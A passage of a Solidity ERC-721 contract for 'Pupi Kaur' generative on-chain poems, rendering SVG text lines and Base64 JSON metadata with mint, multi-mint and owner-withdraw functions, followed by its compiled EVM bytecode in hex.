followedByChecker(fourth, allOptions, nounOptions, followedByOptions, tokenId, 5, true); return calls; } } function conditionalFunctionCall(string memory strFunc, uint256 tokenId, uint256 offset) public view returns (string memory returnVal) { if (keccak256(abi.encodePacked(strFunc)) == keccak256(abi.encodePacked("randomLines"))) { return getRandomLine(tokenId, offset); } if (keccak256(abi.encodePacked(strFunc)) == keccak256(abi.encodePacked("followedByAnother"))) { return getFollowedByAnother(tokenId, offset); } if (keccak256(abi.encodePacked(strFunc)) == keccak256(abi.encodePacked("followedByNoun"))) { return getFollowedByNoun(tokenId, offset); } if (keccak256(abi.encodePacked(strFunc)) == keccak256(abi.encodePacked("randomNouns"))) { return getRandomNoun(tokenId, offset); } } function tokenURI(uint256 tokenId) override public view returns (string memory output) { uint size = decideSize(tokenId); size += 2; string[] memory calls = generateCalls(tokenId, size); string[] memory parts = new string[](13); uint partsLen = 0; uint256 startY = 45; parts[0] = '<svg xmlns="http://www.w3.org/2000/svg" preserveAspectRatio="xMinYMin meet" viewBox="0 0 350 350"><style>.base { fill: #ffffff; font-family: serif; font-size: 14px; }</style><rect width="100%" height="100%" fill="#ffa9d8" /><text x="40" y="45" class="base">'; partsLen += 1; for (uint i = 0; i < size; i++) { parts[partsLen] = conditionalFunctionCall(calls[i], tokenId, i); partsLen += 1; if (i == size - 1) { startY += 30; parts[partsLen] = string(abi.encodePacked('</text><text x="40" y="', toString(startY), '" class="base">')); partsLen += 1; parts[partsLen] = '- pupi kaur'; partsLen += 1; parts[partsLen] = '</text></svg>'; } else { startY += 20; parts[partsLen] = string(abi.encodePacked('</text><text x="40" y="', toString(startY), '" class="base">')); } partsLen += 1; } if (size == 2) { output = string(abi.encodePacked(parts[0], parts[1], parts[2], parts[3], parts[4], parts[5], parts[6])); string memory json = Base64.encode(bytes(string(abi.encodePacked('{"name": "poem #', toString(tokenId), '", "description": "pupi kaur poetry. is a collection of. 10,000 very-serious on-chain poems. -pupi kaur", "image": "data:image/svg+xml;base64,', Base64.encode(bytes(output)), '"}')))); output = string(abi.encodePacked('data:application/json;base64,', json)); return output; } if (size == 3) { output = string(abi.encodePacked(parts[0], parts[1], parts[2], parts[3], parts[4], parts[5], parts[6], parts[7], parts[8])); string memory json = Base64.encode(bytes(string(abi.encodePacked('{"name": "poem #', toString(tokenId), '", "description": "pupi kaur poetry. is a collection of. 10,000 very-serious on-chain poems. -pupi kaur", "image": "data:image/svg+xml;base64,', Base64.encode(bytes(output)), '"}')))); output = string(abi.encodePacked('data:application/json;base64,', json)); return output; } if (size == 4) { output = string(abi.encodePacked(parts[0], parts[1], parts[2], parts[3], parts[4], parts[5], parts[6], parts[7], parts[8])); output = string(abi.encodePacked(output, parts[9], parts[10])); string memory json = Base64.encode(bytes(string(abi.encodePacked('{"name": "poem #', toString(tokenId), '", "description": "pupi kaur poetry. is a collection of. 10,000 very-serious on-chain poems. -pupi kaur", "image": "data:image/svg+xml;base64,', Base64.encode(bytes(output)), '"}')))); output = string(abi.encodePacked('data:application/json;base64,', json)); return output; } if (size == 5) { output = string(abi.encodePacked(parts[0], parts[1], parts[2], parts[3], parts[4], parts[5], parts[6], parts[7], parts[8])); output = string(abi.encodePacked(output, parts[9], parts[10], parts[11], parts[12])); string memory json = Base64.encode(bytes(string(abi.encodePacked('{"name": "poem #', toString(tokenId), '", "description": "pupi kaur poetry. is a collection of. 10,000 very-serious on-chain poems. -pupi kaur", "image": "data:image/svg+xml;base64,', Base64.encode(bytes(output)), '"}')))); output = string(abi.encodePacked('data:application/json;base64,', json)); return output; } } function mint(uint256 tokenId) public payable nonReentrant { require(tokenId > 0 && tokenId <= 5000, "Token ID invalid"); require(price_reg <= msg.value, "Ether value sent is not correct"); _safeMint(_msgSender(), tokenId); } function multiMint(uint256[] memory tokenIds) public payable nonReentrant { require((price_reg * tokenIds.length) <= msg.value, "Ether value sent is not correct"); for (uint256 i = 0; i < tokenIds.length; i++) { require(tokenIds[i] > 0 && tokenIds[i] < 5000, "Token ID invalid"); _safeMint(msg.sender, tokenIds[i]); } } function withdraw() public onlyOwner { payable(owner()).transfer(address(this).balance); } function toString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } constructor() ERC721("Pupi Kaur", "PUPI") Ownable() {} } library Base64 { bytes internal constant TABLE = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"; function encode(bytes memory data) internal pure returns (string memory) { uint256 len = data.length; if (len == 0) return ""; uint256 encodedLen = 4 * ((len + 2) / 3); bytes memory result = new bytes(encodedLen + 32); bytes memory table = TABLE; assembly { let tablePtr := add(table, 1) let resultPtr := add(result, 32) for { let i := 0 } lt(i, len) { } { i := add(i, 3) let input := and(mload(add(data, i)), 0xffffff) let out := mload(add(tablePtr, and(shr(18, input), 0x3F))) out := shl(8, out) out := add(out, and(mload(add(tablePtr, and(shr(12, input), 0x3F))), 0xFF)) out := shl(8, out) out := add(out, and(mload(add(tablePtr, and(shr(6, input), 0x3F))), 0xFF)) out := shl(8, out) out := add(out, and(mload(add(tablePtr, and(input, 0x3F))), 0xFF)) out := shl(224, out) mstore(resultPtr, out) resultPtr := add(resultPtr, 4) } switch mod(len, 3) case 1 { mstore(sub(resultPtr, 2), shl(240, 0x3d3d)) } case 2 { mstore(sub(resultPtr, 1), shl(248, 0x3d)) } mstore(result, encodedLen) } return string(result); } }
0x6080604052600436106101ed5760003560e01c80634f6ccce71161010d5780639a0e4ebb116100a0578063c87b56dd1161006f578063c87b56dd14610541578063ca9e365814610561578063e985e9c514610581578063f2fde38b146105a1578063f979480c146105c1576101ed565b80639a0e4ebb146104db578063a0712d68146104ee578063a22cb46514610501578063b88d4fde14610521576101ed565b8063715018a6116100dc578063715018a61461046f57806384964996146104845780638da5cb5b146104b157806395d89b41146104c6576101ed565b80634f6ccce7146103ef57806357c98b4e1461040f5780636352211e1461042f57806370a082311461044f576101ed565b8063194293a4116101855780632f745c59116101545780632f745c59146103855780633ccfd60b146103a557806342842e0e146103ba5780634b63036d146103da576101ed565b8063194293a4146103055780632277111c1461032557806323b872dd146103455780632979d2a614610365576101ed565b8063081812fc116101c1578063081812fc1461028c578063095ea7b3146102b95780630da4ee50146102db57806318160ddd146102f0576101ed565b80621eba89146101f257806301ffc9a71461021d578063049c425e1461024a57806306fdde0314610277575b600080fd5b3480156101fe57600080fd5b506102076105e1565b6040516102149190614195565b60405180910390f35b34801561022957600080fd5b5061023d610238366004613510565b6105e7565b6040516102149190613c31565b34801561025657600080fd5b5061026a610265366004613548565b610614565b6040516102149190613c3c565b34801561028357600080fd5b5061026a610731565b34801561029857600080fd5b506102ac6102a7366004613660565b6107c3565b6040516102149190613b80565b3480156102c557600080fd5b506102d96102d4366004613457565b61080f565b005b3480156102e757600080fd5b506102ac6108a7565b3480156102fc57600080fd5b506102076108b6565b34801561031157600080fd5b5061026a610320366004613678565b6108bc565b34801561033157600080fd5b5061026a610340366004613614565b6109c2565b34801561035157600080fd5b506102d961036036600461337a565b610b42565b34801561037157600080fd5b5061026a610380366004613678565b610b7a565b34801561039157600080fd5b506102076103a0366004613457565b610c6c565b3480156103b157600080fd5b506102d9610cbe565b3480156103c657600080fd5b506102d96103d536600461337a565b610d40565b3480156103e657600080fd5b506102ac610d5b565b3480156103fb57600080fd5b5061020761040a366004613660565b610d6a565b34801561041b57600080fd5b5061020761042a366004613699565b610dc5565b34801561043b57600080fd5b506102ac61044a366004613660565b610e0f565b34801561045b57600080fd5b5061020761046a36600461332e565b610e44565b34801561047b57600080fd5b506102d9610e88565b34801561049057600080fd5b506104a461049f366004613678565b610ed3565b6040516102149190613bd1565b3480156104bd57600080fd5b506102ac6116bb565b3480156104d257600080fd5b5061026a6116ca565b6102d96104e9366004613480565b6116d9565b6102d96104fc366004613660565b611802565b34801561050d57600080fd5b506102d961051c36600461342e565b611892565b34801561052d57600080fd5b506102d961053c3660046133b5565b611960565b34801561054d57600080fd5b5061026a61055c366004613660565b61199f565b34801561056d57600080fd5b5061026a61057c366004613678565b612438565b34801561058d57600080fd5b5061023d61059c366004613348565b61252a565b3480156105ad57600080fd5b506102d96105bc36600461332e565b612558565b3480156105cd57600080fd5b5061026a6105dc366004613678565b6125c6565b60105481565b60006001600160e01b0319821663780e9d6360e01b148061060c575061060c826126bb565b90505b919050565b60606001821515141561065b578461062e85875186610dc5565b8151811061064c57634e487b7160e01b600052603260045260246000fd5b60200260200101519050610726565b60405160200161066a9061399b565b604051602081830303815290604052805190602001208860405160200161069191906136f0565b6040516020818303038152906040528051906020012014156106ba578461062e85875186610dc5565b6040516020016106c990613981565b60405160208183030381529060405280519060200120886040516020016106f091906136f0565b604051602081830303815290604052805190602001201415610719578561062e85885186610dc5565b8661062e85895186610dc5565b979650505050505050565b6060600080546107409061427a565b80601f016020809104026020016040519081016040528092919081815260200182805461076c9061427a565b80156107b95780601f1061078e576101008083540402835291602001916107b9565b820191906000526020600020905b81548152906001019060200180831161079c57829003601f168201915b5050505050905090565b60006107ce826126fb565b6107f35760405162461bcd60e51b81526004016107ea90613f8c565b60405180910390fd5b506000908152600460205260409020546001600160a01b031690565b600061081a82610e0f565b9050806001600160a01b0316836001600160a01b0316141561084e5760405162461bcd60e51b81526004016107ea90614080565b806001600160a01b0316610860612718565b6001600160a01b0316148061087c575061087c8161059c612718565b6108985760405162461bcd60e51b81526004016107ea90613e67565b6108a2838361271c565b505050565b6011546001600160a01b031681565b60085490565b60606109b9836040518060400160405280600681526020016552414e444f4d60d01b815250600c805480602002602001604051908101604052809291908181526020016000905b828210156109af5783829060005260206000200180546109229061427a565b80601f016020809104026020016040519081016040528092919081815260200182805461094e9061427a565b801561099b5780601f106109705761010080835404028352916020019161099b565b820191906000526020600020905b81548152906001019060200180831161097e57829003601f168201915b505050505081526020019060010190610903565b505050508561278a565b90505b92915050565b60606040516020016109d39061396a565b60405160208183030381529060405280519060200120846040516020016109fa91906136f0565b604051602081830303815290604052805190602001201415610a2757610a2083836108bc565b9050610b3b565b604051602001610a369061399b565b6040516020818303038152906040528051906020012084604051602001610a5d91906136f0565b604051602081830303815290604052805190602001201415610a8357610a2083836125c6565b604051602001610a9290613981565b6040516020818303038152906040528051906020012084604051602001610ab991906136f0565b604051602081830303815290604052805190602001201415610adf57610a208383610b7a565b604051602001610aee90613a17565b6040516020818303038152906040528051906020012084604051602001610b1591906136f0565b604051602081830303815290604052805190602001201415610b3b57610a208383612438565b9392505050565b610b53610b4d612718565b8261281e565b610b6f5760405162461bcd60e51b81526004016107ea906140c1565b6108a283838361289b565b60606109b98360405180604001604052806005815260200164232727aaa760d91b815250600e805480602002602001604051908101604052809291908181526020016000905b828210156109af578382906000526020600020018054610bdf9061427a565b80601f0160208091040260200160405190810160405280929190818152602001828054610c0b9061427a565b8015610c585780601f10610c2d57610100808354040283529160200191610c58565b820191906000526020600020905b815481529060010190602001808311610c3b57829003601f168201915b505050505081526020019060010190610bc0565b6000610c7783610e44565b8210610c955760405162461bcd60e51b81526004016107ea90613c4f565b506001600160a01b03919091166000908152600660209081526040808320938352929052205490565b610cc6612718565b6001600160a01b0316610cd76116bb565b6001600160a01b031614610cfd5760405162461bcd60e51b81526004016107ea90613fd8565b610d056116bb565b6001600160a01b03166108fc479081150290604051600060405180830381858888f19350505050158015610d3d573d6000803e3d6000fd5b50565b6108a283838360405180602001604052806000815250611960565b6012546001600160a01b031681565b6000610d746108b6565b8210610d925760405162461bcd60e51b81526004016107ea90614112565b60088281548110610db357634e487b7160e01b600052603260045260246000fd5b90600052602060002001549050919050565b600080610dfa610dd4866129c8565b84604051602001610de69291906139e4565b604051602081830303815290604052612ae3565b9050610e0684826142d0565b95945050505050565b6000818152600260205260408120546001600160a01b03168061060c5760405162461bcd60e51b81526004016107ea90613f0e565b60006001600160a01b038216610e6c5760405162461bcd60e51b81526004016107ea90613ec4565b506001600160a01b031660009081526003602052604090205490565b610e90612718565b6001600160a01b0316610ea16116bb565b6001600160a01b031614610ec75760405162461bcd60e51b81526004016107ea90613fd8565b610ed16000612b14565b565b60408051600480825260a0820190925260609160009190816020015b6060815260200190600190039081610eef5790505090506040518060400160405280600b81526020016a72616e646f6d4c696e657360a81b81525081600081518110610f4b57634e487b7160e01b600052603260045260246000fd5b6020026020010181905250604051806040016040528060118152602001703337b63637bbb2b2213ca0b737ba3432b960791b81525081600181518110610fa157634e487b7160e01b600052603260045260246000fd5b60200260200101819052506040518060400160405280600e81526020016d3337b63637bbb2b2213ca737bab760911b81525081600281518110610ff457634e487b7160e01b600052603260045260246000fd5b60200260200101819052506040518060400160405280600b81526020016a72616e646f6d4e6f756e7360a81b8152508160038151811061104457634e487b7160e01b600052603260045260246000fd5b6020908102919091010152604080516001808252818301909252600091816020015b60608152602001906001900390816110665790505090506040518060400160405280600b81526020016a72616e646f6d4e6f756e7360a81b815250816000815181106110c257634e487b7160e01b600052603260045260246000fd5b602090810291909101015260408051600280825260608201909252600091816020015b60608152602001906001900390816110e55790505090506040518060400160405280600b81526020016a72616e646f6d4c696e657360a81b8152508160008151811061114157634e487b7160e01b600052603260045260246000fd5b60200260200101819052506040518060400160405280600b81526020016a72616e646f6d4e6f756e7360a81b8152508160018151811061119157634e487b7160e01b600052603260045260246000fd5b6020026020010181905250846002141561127d576040805160028082526060820190925290816020015b60608152602001906001900390816111bb5790505093506000836111e28886516001610dc5565b8151811061120057634e487b7160e01b600052603260045260246000fd5b60200260200101519050808560008151811061122c57634e487b7160e01b600052603260045260246000fd5b6020026020010181905250611248818585858b60026001610614565b8560018151811061126957634e487b7160e01b600052603260045260246000fd5b6020026020010181905250505050506109bc565b84600314156113a1576040805160038082526080820190925290816020015b606081526020019060019003908161129c5790505093506000836112c38886516001610dc5565b815181106112e157634e487b7160e01b600052603260045260246000fd5b60200260200101519050808560008151811061130d57634e487b7160e01b600052603260045260246000fd5b6020026020010181905250600061132b828686868c60026000610614565b9050808660018151811061134f57634e487b7160e01b600052603260045260246000fd5b602002602001018190525061136b818686868c60036001610614565b8660028151811061138c57634e487b7160e01b600052603260045260246000fd5b602002602001018190525050505050506109bc565b84600414156115085760408051600480825260a0820190925290816020015b60608152602001906001900390816113c05790505093506000836113e78886516001610dc5565b8151811061140557634e487b7160e01b600052603260045260246000fd5b60200260200101519050808560008151811061143157634e487b7160e01b600052603260045260246000fd5b6020026020010181905250600061144f828686868c60026000610614565b9050808660018151811061147357634e487b7160e01b600052603260045260246000fd5b60200260200101819052506000611491828787878d60036000610614565b905080876002815181106114b557634e487b7160e01b600052603260045260246000fd5b60200260200101819052506114d1818787878d60046001610614565b876003815181106114f257634e487b7160e01b600052603260045260246000fd5b60200260200101819052505050505050506109bc565b84600514156116b25760408051600580825260c0820190925290816020015b606081526020019060019003908161152757905050935060008361154e8886516001610dc5565b8151811061156c57634e487b7160e01b600052603260045260246000fd5b60200260200101519050808560008151811061159857634e487b7160e01b600052603260045260246000fd5b602002602001018190525060006115b6828686868c60026000610614565b905080866001815181106115da57634e487b7160e01b600052603260045260246000fd5b602002602001018190525060006115f8828787878d60036000610614565b9050808760028151811061161c57634e487b7160e01b600052603260045260246000fd5b6020026020010181905250600061163a828888888e60046000610614565b9050808860038151811061165e57634e487b7160e01b600052603260045260246000fd5b602002602001018190525061167a818888888e60056001610614565b8860048151811061169b57634e487b7160e01b600052603260045260246000fd5b6020026020010181905250505050505050506109bc565b50505092915050565b600b546001600160a01b031690565b6060600180546107409061427a565b6002600a5414156116fc5760405162461bcd60e51b81526004016107ea9061415e565b6002600a558051601054349161171191614218565b111561172f5760405162461bcd60e51b81526004016107ea90613de4565b60005b81518110156117f957600082828151811061175d57634e487b7160e01b600052603260045260246000fd5b602002602001015111801561179a575061138882828151811061179057634e487b7160e01b600052603260045260246000fd5b6020026020010151105b6117b65760405162461bcd60e51b81526004016107ea9061400d565b6117e7338383815181106117da57634e487b7160e01b600052603260045260246000fd5b6020026020010151612b66565b806117f1816142b5565b915050611732565b50506001600a55565b6002600a5414156118255760405162461bcd60e51b81526004016107ea9061415e565b6002600a55801580159061183b57506113888111155b6118575760405162461bcd60e51b81526004016107ea9061400d565b3460105411156118795760405162461bcd60e51b81526004016107ea90613de4565b61188a611884612718565b82612b66565b506001600a55565b61189a612718565b6001600160a01b0316826001600160a01b031614156118cb5760405162461bcd60e51b81526004016107ea90613dad565b80600560006118d8612718565b6001600160a01b03908116825260208083019390935260409182016000908120918716808252919093529120805460ff19169215159290921790915561191c612718565b6001600160a01b03167f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c31836040516119549190613c31565b60405180910390a35050565b61197161196b612718565b8361281e565b61198d5760405162461bcd60e51b81526004016107ea906140c1565b61199984848484612b84565b50505050565b606060006119ac83612bb7565b90506119b96002826141ec565b905060006119c78483610ed3565b60408051600d8082526101c0820190925291925060009190816020015b60608152602001906001900390816119e4579050509050600080602d9050604051806101400160405280610101815260200161437d610101913983600081518110611a3f57634e487b7160e01b600052603260045260246000fd5b6020908102919091010152611a556001836141ec565b915060005b85811015611c7d57611a94858281518110611a8557634e487b7160e01b600052603260045260246000fd5b602002602001015189836109c2565b848481518110611ab457634e487b7160e01b600052603260045260246000fd5b6020908102919091010152611aca6001846141ec565b9250611ad7600187614237565b811415611bfd57611ae9601e836141ec565b9150611af4826129c8565b604051602001611b04919061390c565b604051602081830303815290604052848481518110611b3357634e487b7160e01b600052603260045260246000fd5b6020908102919091010152611b496001846141ec565b92506040518060400160405280600b81526020016a1690383ab8349035b0bab960a91b815250848481518110611b8f57634e487b7160e01b600052603260045260246000fd5b6020908102919091010152611ba56001846141ec565b92506040518060400160405280600d81526020016c1e17ba32bc3a1f1e17b9bb339f60991b815250848481518110611bed57634e487b7160e01b600052603260045260246000fd5b6020026020010181905250611c5e565b611c086014836141ec565b9150611c13826129c8565b604051602001611c23919061390c565b604051602081830303815290604052848481518110611c5257634e487b7160e01b600052603260045260246000fd5b60200260200101819052505b611c696001846141ec565b925080611c75816142b5565b915050611a5a565b508460021415611e385782600081518110611ca857634e487b7160e01b600052603260045260246000fd5b602002602001015183600181518110611cd157634e487b7160e01b600052603260045260246000fd5b602002602001015184600281518110611cfa57634e487b7160e01b600052603260045260246000fd5b602002602001015185600381518110611d2357634e487b7160e01b600052603260045260246000fd5b602002602001015186600481518110611d4c57634e487b7160e01b600052603260045260246000fd5b602002602001015187600581518110611d7557634e487b7160e01b600052603260045260246000fd5b602002602001015188600681518110611d9e57634e487b7160e01b600052603260045260246000fd5b6020026020010151604051602001611dbc97969594939291906137ba565b60405160208183030381529060405295506000611e09611ddb896129c8565b611de489612be5565b604051602001611df5929190613a73565b604051602081830303815290604052612be5565b905080604051602001611e1c9190613a2e565b604051602081830303815290604052965050505050505061060f565b8460031415611fca5782600081518110611e6257634e487b7160e01b600052603260045260246000fd5b602002602001015183600181518110611e8b57634e487b7160e01b600052603260045260246000fd5b602002602001015184600281518110611eb457634e487b7160e01b600052603260045260246000fd5b602002602001015185600381518110611edd57634e487b7160e01b600052603260045260246000fd5b602002602001015186600481518110611f0657634e487b7160e01b600052603260045260246000fd5b602002602001015187600581518110611f2f57634e487b7160e01b600052603260045260246000fd5b602002602001015188600681518110611f5857634e487b7160e01b600052603260045260246000fd5b602002602001015189600781518110611f8157634e487b7160e01b600052603260045260246000fd5b60200260200101518a600881518110611faa57634e487b7160e01b600052603260045260246000fd5b6020026020010151604051602001611dbc9998979695949392919061384c565b84600414156121d25782600081518110611ff457634e487b7160e01b600052603260045260246000fd5b60200260200101518360018151811061201d57634e487b7160e01b600052603260045260246000fd5b60200260200101518460028151811061204657634e487b7160e01b600052603260045260246000fd5b60200260200101518560038151811061206f57634e487b7160e01b600052603260045260246000fd5b60200260200101518660048151811061209857634e487b7160e01b600052603260045260246000fd5b6020026020010151876005815181106120c157634e487b7160e01b600052603260045260246000fd5b6020026020010151886006815181106120ea57634e487b7160e01b600052603260045260246000fd5b60200260200101518960078151811061211357634e487b7160e01b600052603260045260246000fd5b60200260200101518a60088151811061213c57634e487b7160e01b600052603260045260246000fd5b602002602001015160405160200161215c9998979695949392919061384c565b6040516020818303038152906040529550858360098151811061218f57634e487b7160e01b600052603260045260246000fd5b602002602001015184600a815181106121b857634e487b7160e01b600052603260045260246000fd5b6020026020010151604051602001611dbc9392919061370c565b846005141561242e57826000815181106121fc57634e487b7160e01b600052603260045260246000fd5b60200260200101518360018151811061222557634e487b7160e01b600052603260045260246000fd5b60200260200101518460028151811061224e57634e487b7160e01b600052603260045260246000fd5b60200260200101518560038151811061227757634e487b7160e01b600052603260045260246000fd5b6020026020010151866004815181106122a057634e487b7160e01b600052603260045260246000fd5b6020026020010151876005815181106122c957634e487b7160e01b600052603260045260246000fd5b6020026020010151886006815181106122f257634e487b7160e01b600052603260045260246000fd5b60200260200101518960078151811061231b57634e487b7160e01b600052603260045260246000fd5b60200260200101518a60088151811061234457634e487b7160e01b600052603260045260246000fd5b60200260200101516040516020016123649998979695949392919061384c565b6040516020818303038152906040529550858360098151811061239757634e487b7160e01b600052603260045260246000fd5b602002602001015184600a815181106123c057634e487b7160e01b600052603260045260246000fd5b602002602001015185600b815181106123e957634e487b7160e01b600052603260045260246000fd5b602002602001015186600c8151811061241257634e487b7160e01b600052603260045260246000fd5b6020026020010151604051602001611dbc95949392919061374f565b5050505050919050565b60606109b98360405180604001604052806005815260200164292727aaa760d91b815250600f805480602002602001604051908101604052809291908181526020016000905b828210156109af57838290600052602060002001805461249d9061427a565b80601f01602080910402602001604051908101604052809291908181526020018280546124c99061427a565b80156125165780601f106124eb57610100808354040283529160200191612516565b820191906000526020600020905b8154815290600101906020018083116124f957829003601f168201915b50505050508152602001906001019061247e565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205460ff1690565b612560612718565b6001600160a01b03166125716116bb565b6001600160a01b0316146125975760405162461bcd60e51b81526004016107ea90613fd8565b6001600160a01b0381166125bd5760405162461bcd60e51b81526004016107ea90613cec565b610d3d81612b14565b60606109b983604051806040016040528060088152602001672320a727aa2422a960c11b815250600d805480602002602001604051908101604052809291908181526020016000905b828210156109af57838290600052602060002001805461262e9061427a565b80601f016020809104026020016040519081016040528092919081815260200182805461265a9061427a565b80156126a75780601f1061267c576101008083540402835291602001916126a7565b820191906000526020600020905b81548152906001019060200180831161268a57829003601f168201915b50505050508152602001906001019061260f565b60006001600160e01b031982166380ac58cd60e01b14806126ec57506001600160e01b03198216635b5e139f60e01b145b8061060c575061060c82612d59565b6000908152600260205260409020546001600160a01b0316151590565b3390565b600081815260046020526040902080546001600160a01b0319166001600160a01b038416908117909155819061275182610e0f565b6001600160a01b03167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560405160405180910390a45050565b606060006127b68561279b886129c8565b6127a4866129c8565b604051602001610de69392919061370c565b90506000848551836127c891906142d0565b815181106127e657634e487b7160e01b600052603260045260246000fd5b602002602001015190508060405160200161280191906136f0565b60408051601f19818403018152919052925050505b949350505050565b6000612829826126fb565b6128455760405162461bcd60e51b81526004016107ea90613e1b565b600061285083610e0f565b9050806001600160a01b0316846001600160a01b0316148061288b5750836001600160a01b0316612880846107c3565b6001600160a01b0316145b806128165750612816818561252a565b826001600160a01b03166128ae82610e0f565b6001600160a01b0316146128d45760405162461bcd60e51b81526004016107ea90614037565b6001600160a01b0382166128fa5760405162461bcd60e51b81526004016107ea90613d69565b612905838383612d72565b61291060008261271c565b6001600160a01b0383166000908152600360205260408120805460019290612939908490614237565b90915550506001600160a01b03821660009081526003602052604081208054600192906129679084906141ec565b909155505060008181526002602052604080822080546001600160a01b0319166001600160a01b0386811691821790925591518493918716917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef91a4505050565b6060816129ed57506040805180820190915260018152600360fc1b602082015261060f565b8160005b8115612a175780612a01816142b5565b9150612a109050600a83614204565b91506129f1565b60008167ffffffffffffffff811115612a4057634e487b7160e01b600052604160045260246000fd5b6040519080825280601f01601f191660200182016040528015612a6a576020820181803683370190505b5090505b841561281657612a7f600183614237565b9150612a8c600a866142d0565b612a979060306141ec565b60f81b818381518110612aba57634e487b7160e01b600052603260045260246000fd5b60200101906001600160f81b031916908160001a905350612adc600a86614204565b9450612a6e565b600081604051602001612af691906136f0565b60408051601f19818403018152919052805160209091012092915050565b600b80546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b612b80828260405180602001604052806000815250612dfb565b5050565b612b8f84848461289b565b612b9b84848484612e2e565b6119995760405162461bcd60e51b81526004016107ea90613c9a565b600080612bd6612bc6846129c8565b604051602001610de691906139b8565b905060006128166004836142d0565b805160609080612c0557505060408051602081019091526000815261060f565b60006003612c148360026141ec565b612c1e9190614204565b612c29906004614218565b90506000612c388260206141ec565b67ffffffffffffffff811115612c5e57634e487b7160e01b600052604160045260246000fd5b6040519080825280601f01601f191660200182016040528015612c88576020820181803683370190505b509050600060405180606001604052806040815260200161433d604091399050600181016020830160005b86811015612d14576003818a01810151603f601282901c8116860151600c83901c8216870151600684901c831688015192909316870151600891821b60ff94851601821b92841692909201901b91160160e01b835260049092019101612cb3565b506003860660018114612d2e5760028114612d3f57612d4b565b613d3d60f01b600119830152612d4b565b603d60f81b6000198301525b505050918152949350505050565b6001600160e01b031981166301ffc9a760e01b14919050565b612d7d8383836108a2565b6001600160a01b038316612d9957612d9481612f46565b612dbc565b816001600160a01b0316836001600160a01b031614612dbc57612dbc8382612f8a565b6001600160a01b038216612dd857612dd381613027565b6108a2565b826001600160a01b0316826001600160a01b0316146108a2576108a28282613100565b612e058383613144565b612e126000848484612e2e565b6108a25760405162461bcd60e51b81526004016107ea90613c9a565b6000612e42846001600160a01b0316613223565b15612f3e57836001600160a01b031663150b7a02612e5e612718565b8786866040518563ffffffff1660e01b8152600401612e809493929190613b94565b602060405180830381600087803b158015612e9a57600080fd5b505af1925050508015612eca575060408051601f3d908101601f19168201909252612ec79181019061352c565b60015b612f24573d808015612ef8576040519150601f19603f3d011682016040523d82523d6000602084013e612efd565b606091505b508051612f1c5760405162461bcd60e51b81526004016107ea90613c9a565b805181602001fd5b6001600160e01b031916630a85bd0160e11b149050612816565b506001612816565b600880546000838152600960205260408120829055600182018355919091527ff3f7a9fe364faab93b216da50a3214154f22a0a2b415b23a84c8169e8b636ee30155565b60006001612f9784610e44565b612fa19190614237565b600083815260076020526040902054909150808214612ff4576001600160a01b03841660009081526006602090815260408083208584528252808320548484528184208190558352600790915290208190555b5060009182526007602090815260408084208490556001600160a01b039094168352600681528383209183525290812055565b60085460009061303990600190614237565b6000838152600960205260408120546008805493945090928490811061306f57634e487b7160e01b600052603260045260246000fd5b90600052602060002001549050806008838154811061309e57634e487b7160e01b600052603260045260246000fd5b60009182526020808320909101929092558281526009909152604080822084905585825281205560088054806130e457634e487b7160e01b600052603160045260246000fd5b6001900381819060005260206000200160009055905550505050565b600061310b83610e44565b6001600160a01b039093166000908152600660209081526040808320868452825280832085905593825260079052919091209190915550565b6001600160a01b03821661316a5760405162461bcd60e51b81526004016107ea90613f57565b613173816126fb565b156131905760405162461bcd60e51b81526004016107ea90613d32565b61319c60008383612d72565b6001600160a01b03821660009081526003602052604081208054600192906131c59084906141ec565b909155505060008181526002602052604080822080546001600160a01b0319166001600160a01b03861690811790915590518392907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef908290a45050565b3b151590565b600067ffffffffffffffff83111561324357613243614310565b613256601f8401601f191660200161419e565b905082815283838301111561326a57600080fd5b828260208301376000602084830101529392505050565b80356001600160a01b038116811461060f57600080fd5b600082601f8301126132a8578081fd5b813560206132bd6132b8836141c8565b61419e565b82815281810190858301855b858110156132f2576132e0898684358b010161330f565b845292840192908401906001016132c9565b5090979650505050505050565b8035801515811461060f57600080fd5b600082601f83011261331f578081fd5b6109b983833560208501613229565b60006020828403121561333f578081fd5b6109b982613281565b6000806040838503121561335a578081fd5b61336383613281565b915061337160208401613281565b90509250929050565b60008060006060848603121561338e578081fd5b61339784613281565b92506133a560208501613281565b9150604084013590509250925092565b600080600080608085870312156133ca578081fd5b6133d385613281565b93506133e160208601613281565b925060408501359150606085013567ffffffffffffffff811115613403578182fd5b8501601f81018713613413578182fd5b61342287823560208401613229565b91505092959194509250565b60008060408385031215613440578182fd5b61344983613281565b9150613371602084016132ff565b60008060408385031215613469578182fd5b61347283613281565b946020939093013593505050565b60006020808385031215613492578182fd5b823567ffffffffffffffff8111156134a8578283fd5b8301601f810185136134b8578283fd5b80356134c66132b8826141c8565b81815283810190838501858402850186018910156134e2578687fd5b8694505b838510156135045780358352600194909401939185019185016134e6565b50979650505050505050565b600060208284031215613521578081fd5b8135610b3b81614326565b60006020828403121561353d578081fd5b8151610b3b81614326565b600080600080600080600060e0888a031215613562578283fd5b873567ffffffffffffffff80821115613579578485fd5b6135858b838c0161330f565b985060208a013591508082111561359a578485fd5b6135a68b838c01613298565b975060408a01359150808211156135bb578485fd5b6135c78b838c01613298565b965060608a01359150808211156135dc578485fd5b506135e98a828b01613298565b9450506080880135925060a0880135915061360660c089016132ff565b905092959891949750929550565b600080600060608486031215613628578081fd5b833567ffffffffffffffff81111561363e578182fd5b61364a8682870161330f565b9660208601359650604090950135949350505050565b600060208284031215613671578081fd5b5035919050565b6000806040838503121561368a578182fd5b50508035926020909101359150565b6000806000606084860312156136ad578081fd5b505081359360208301359350604090920135919050565b600081518084526136dc81602086016020860161424e565b601f01601f19169290